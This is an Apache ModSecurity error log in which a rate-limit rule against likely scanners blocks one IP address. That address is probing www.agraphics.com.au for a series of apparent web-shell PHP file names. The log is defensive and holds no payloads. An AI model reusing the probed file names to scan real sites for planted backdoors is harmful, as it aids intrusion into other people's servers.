[Sat Dec 13 00:03:53.345676 2025] [:error] [pid 55760:tid 55782] [client 4.193.186.94:21312] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zde.php"] [unique_id "aTw86VObDQlftFDyGaxGJAAAAZQ"]
[Sat Dec 13 00:03:53.597199 2025] [:error] [pid 55760:tid 55767] [client 4.193.186.94:21022] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/CLA.php"] [unique_id "aTw86VObDQlftFDyGaxGJQAAAYU"]
[Sat Dec 13 00:03:53.980687 2025] [:error] [pid 55760:tid 55765] [client 4.193.186.94:21337] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/CLA.php"] [unique_id "aTw86VObDQlftFDyGaxGJgAAAYM"]
[Sat Dec 13 00:03:54.265176 2025] [:error] [pid 27950:tid 27965] [client 4.193.186.94:21363] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/CLA.php"] [unique_id "aTw86oVLRvkrdsSc1F3M8gAAAU0"]
[Sat Dec 13 00:03:54.519630 2025] [:error] [pid 26521:tid 26600] [client 4.193.186.94:21358] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/CLA.php"] [unique_id "aTw86pdhcAPU617AKTDDxwAAAJU"]
[Sat Dec 13 00:03:54.745653 2025] [:error] [pid 26519:tid 26535] [client 4.193.186.94:21313] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sty.php"] [unique_id "aTw86s8TRgSGOeWqEhcVAAAAAAw"]
[Sat Dec 13 00:03:54.951026 2025] [:error] [pid 27950:tid 27974] [client 4.193.186.94:35928] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sty.php"] [unique_id "aTw86oVLRvkrdsSc1F3M9AAAAVY"]
[Sat Dec 13 00:03:55.278053 2025] [:error] [pid 26607:tid 26616] [client 4.193.186.94:35915] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sty.php"] [unique_id "aTw868b_b0tOEWTL2KnFrAAAAMc"]
[Sat Dec 13 00:03:55.561399 2025] [:error] [pid 55760:tid 55766] [client 4.193.186.94:35847] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sty.php"] [unique_id "aTw861ObDQlftFDyGaxGJwAAAYQ"]
[Sat Dec 13 00:03:55.779345 2025] [:error] [pid 26519:tid 26540] [client 4.193.186.94:21030] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jga.php"] [unique_id "aTw8688TRgSGOeWqEhcVAgAAABE"]
[Sat Dec 13 00:03:56.021075 2025] [:error] [pid 26607:tid 26623] [client 4.193.186.94:20937] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jga.php"] [unique_id "aTw87Mb_b0tOEWTL2KnFrgAAAM4"]
[Sat Dec 13 00:03:56.267091 2025] [:error] [pid 27950:tid 27975] [client 4.193.186.94:21338] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jga.php"] [unique_id "aTw87IVLRvkrdsSc1F3M9wAAAVc"]
[Sat Dec 13 00:03:56.457883 2025] [:error] [pid 27950:tid 27959] [client 4.193.186.94:35888] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jga.php"] [unique_id "aTw87IVLRvkrdsSc1F3M-AAAAUc"]
[Sat Dec 13 00:03:56.731766 2025] [:error] [pid 27950:tid 27972] [client 4.193.186.94:35887] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/led.php"] [unique_id "aTw87IVLRvkrdsSc1F3M-QAAAVQ"]
[Sat Dec 13 00:03:56.936486 2025] [:error] [pid 26519:tid 26539] [client 4.193.186.94:21020] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/led.php"] [unique_id "aTw87M8TRgSGOeWqEhcVAwAAABA"]
[Sat Dec 13 00:03:57.210189 2025] [:error] [pid 26607:tid 26618] [client 4.193.186.94:35902] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/led.php"] [unique_id "aTw87cb_b0tOEWTL2KnFsAAAAMk"]
[Sat Dec 13 00:03:57.445269 2025] [:error] [pid 26519:tid 26543] [client 4.193.186.94:21347] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/led.php"] [unique_id "aTw87c8TRgSGOeWqEhcVBAAAABQ"]
[Sat Dec 13 00:03:57.657242 2025] [:error] [pid 26607:tid 26614] [client 4.193.186.94:21009] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jmfi2.php"] [unique_id "aTw87cb_b0tOEWTL2KnFsQAAAMU"]
[Sat Dec 13 00:03:58.092614 2025] [:error] [pid 27950:tid 27976] [client 4.193.186.94:35926] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jmfi2.php"] [unique_id "aTw87oVLRvkrdsSc1F3M-wAAAVg"]
[Sat Dec 13 00:03:58.343676 2025] [:error] [pid 26521:tid 26583] [client 4.193.186.94:35856] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jmfi2.php"] [unique_id "aTw87pdhcAPU617AKTDDyQAAAIQ"]
[Sat Dec 13 00:03:58.592699 2025] [:error] [pid 26521:tid 26596] [client 4.193.186.94:21357] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jmfi2.php"] [unique_id "aTw87pdhcAPU617AKTDDygAAAJE"]
[Sat Dec 13 00:03:58.840407 2025] [:error] [pid 27950:tid 27956] [client 4.193.186.94:21018] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vast.php"] [unique_id "aTw87oVLRvkrdsSc1F3M_AAAAUQ"]
[Sat Dec 13 00:03:59.405513 2025] [:error] [pid 60649:tid 60659] [client 4.193.186.94:21320] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vast.php"] [unique_id "aTw871OcUGKU3sgfHP8iMwAAAQc"]
[Sat Dec 13 00:03:59.729732 2025] [:error] [pid 27950:tid 27954] [client 4.193.186.94:21322] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vast.php"] [unique_id "aTw874VLRvkrdsSc1F3M_gAAAUI"]
[Sat Dec 13 00:04:00.035838 2025] [:error] [pid 26519:tid 26524] [client 4.193.186.94:21048] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vast.php"] [unique_id "aTw88M8TRgSGOeWqEhcVCQAAAAE"]
[Sat Dec 13 00:04:00.271866 2025] [:error] [pid 26519:tid 26544] [client 4.193.186.94:35909] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ea.php"] [unique_id "aTw88M8TRgSGOeWqEhcVCwAAABU"]
[Sat Dec 13 00:04:00.615072 2025] [:error] [pid 26521:tid 26597] [client 4.193.186.94:21330] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ea.php"] [unique_id "aTw88JdhcAPU617AKTDDzAAAAJI"]
[Sat Dec 13 00:04:00.811242 2025] [:error] [pid 26519:tid 26523] [client 4.193.186.94:35849] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ea.php"] [unique_id "aTw88M8TRgSGOeWqEhcVDgAAAAA"]
[Sat Dec 13 00:04:01.149316 2025] [:error] [pid 26521:tid 26603] [client 4.193.186.94:21028] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ea.php"] [unique_id "aTw88ZdhcAPU617AKTDDzQAAAJg"]
[Sat Dec 13 00:04:01.607493 2025] [:error] [pid 60649:tid 60673] [client 4.193.186.94:21007] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bb.php7"] [unique_id "aTw88VOcUGKU3sgfHP8iNQAAARU"]
[Sat Dec 13 00:04:01.930704 2025] [:error] [pid 26520:tid 26558] [client 4.193.186.94:21328] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bb.php7"] [unique_id "aTw88UG_frlY5vNXu_AgDQAAAEY"]
[Sat Dec 13 00:04:02.173381 2025] [:error] [pid 60649:tid 60656] [client 4.193.186.94:21047] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bb.php7"] [unique_id "aTw88lOcUGKU3sgfHP8iOAAAAQQ"]
[Sat Dec 13 00:04:02.405346 2025] [:error] [pid 55760:tid 55783] [client 4.193.186.94:35882] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bb.php7"] [unique_id "aTw88lObDQlftFDyGaxGMQAAAZU"]
[Sat Dec 13 00:04:02.685156 2025] [:error] [pid 55760:tid 55775] [client 4.193.186.94:21319] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/888.php"] [unique_id "aTw88lObDQlftFDyGaxGMwAAAY0"]
[Sat Dec 13 00:04:02.918527 2025] [:error] [pid 60649:tid 60653] [client 4.193.186.94:21041] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/888.php"] [unique_id "aTw88lOcUGKU3sgfHP8iOQAAAQE"]
[Sat Dec 13 00:04:03.277102 2025] [:error] [pid 26521:tid 26590] [client 4.193.186.94:21373] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/888.php"] [unique_id "aTw885dhcAPU617AKTDD0QAAAIs"]
[Sat Dec 13 00:04:03.543396 2025] [:error] [pid 26519:tid 26532] [client 4.193.186.94:20997] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/888.php"] [unique_id "aTw8888TRgSGOeWqEhcVDwAAAAk"]
[Sat Dec 13 00:04:03.765442 2025] [:error] [pid 27950:tid 27959] [client 4.193.186.94:21317] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rei.php"] [unique_id "aTw884VLRvkrdsSc1F3NAQAAAUc"]
[Sat Dec 13 00:04:04.054199 2025] [:error] [pid 60649:tid 60665] [client 4.193.186.94:21314] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rei.php"] [unique_id "aTw89FOcUGKU3sgfHP8iPAAAAQ0"]
[Sat Dec 13 00:04:04.291244 2025] [:error] [pid 26607:tid 26626] [client 4.193.186.94:35916] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rei.php"] [unique_id "aTw89Mb_b0tOEWTL2KnFtwAAANE"]
[Sat Dec 13 00:04:04.700926 2025] [:error] [pid 26607:tid 26622] [client 4.193.186.94:21353] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/rei.php"] [unique_id "aTw89Mb_b0tOEWTL2KnFuAAAAM0"]
[Sat Dec 13 00:04:04.967269 2025] [:error] [pid 26520:tid 26556] [client 4.193.186.94:35967] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file3.php"] [unique_id "aTw89EG_frlY5vNXu_AgEAAAAEQ"]
[Sat Dec 13 00:04:05.190716 2025] [:error] [pid 26520:tid 26565] [client 4.193.186.94:20948] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file3.php"] [unique_id "aTw89UG_frlY5vNXu_AgEQAAAE0"]
[Sat Dec 13 00:04:05.630197 2025] [:error] [pid 26520:tid 26569] [client 4.193.186.94:21344] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file3.php"] [unique_id "aTw89UG_frlY5vNXu_AgEgAAAFE"]
[Sat Dec 13 00:04:05.877926 2025] [:error] [pid 26520:tid 26563] [client 4.193.186.94:35855] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file3.php"] [unique_id "aTw89UG_frlY5vNXu_AgEwAAAEs"]
[Sat Dec 13 00:04:06.295583 2025] [:error] [pid 26519:tid 26539] [client 4.193.186.94:35866] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nok.php"] [unique_id "aTw89s8TRgSGOeWqEhcVEAAAABA"]
[Sat Dec 13 00:04:06.740981 2025] [:error] [pid 26519:tid 26531] [client 4.193.186.94:21034] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nok.php"] [unique_id "aTw89s8TRgSGOeWqEhcVEQAAAAg"]
[Sat Dec 13 00:04:07.141279 2025] [:error] [pid 26607:tid 26625] [client 4.193.186.94:21375] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nok.php"] [unique_id "aTw898b_b0tOEWTL2KnFuwAAANA"]
[Sat Dec 13 00:04:07.359875 2025] [:error] [pid 26519:tid 26536] [client 4.193.186.94:35938] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nok.php"] [unique_id "aTw8988TRgSGOeWqEhcVEwAAAA0"]
[Sat Dec 13 00:04:07.589565 2025] [:error] [pid 26520:tid 26558] [client 4.193.186.94:21015] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asgtt.php"] [unique_id "aTw890G_frlY5vNXu_AgGQAAAEY"]
[Sat Dec 13 00:04:07.792008 2025] [:error] [pid 26520:tid 26572] [client 4.193.186.94:20998] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asgtt.php"] [unique_id "aTw890G_frlY5vNXu_AgGwAAAFQ"]
[Sat Dec 13 00:04:08.161327 2025] [:error] [pid 27950:tid 27971] [client 4.193.186.94:21365] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asgtt.php"] [unique_id "aTw8-IVLRvkrdsSc1F3NBAAAAVM"]
[Sat Dec 13 00:04:08.390887 2025] [:error] [pid 26607:tid 26613] [client 4.193.186.94:20983] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asgtt.php"] [unique_id "aTw8-Mb_b0tOEWTL2KnFvgAAAMQ"]
[Sat Dec 13 00:04:08.700737 2025] [:error] [pid 26519:tid 26538] [client 4.193.186.94:35869] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/d57.php"] [unique_id "aTw8-M8TRgSGOeWqEhcVFQAAAA8"]
[Sat Dec 13 00:04:08.906520 2025] [:error] [pid 26520:tid 26567] [client 4.193.186.94:21333] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/d57.php"] [unique_id "aTw8-EG_frlY5vNXu_AgHQAAAE8"]
[Sat Dec 13 00:04:09.111383 2025] [:error] [pid 27950:tid 27952] [client 4.193.186.94:21011] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/d57.php"] [unique_id "aTw8-YVLRvkrdsSc1F3NBQAAAUA"]
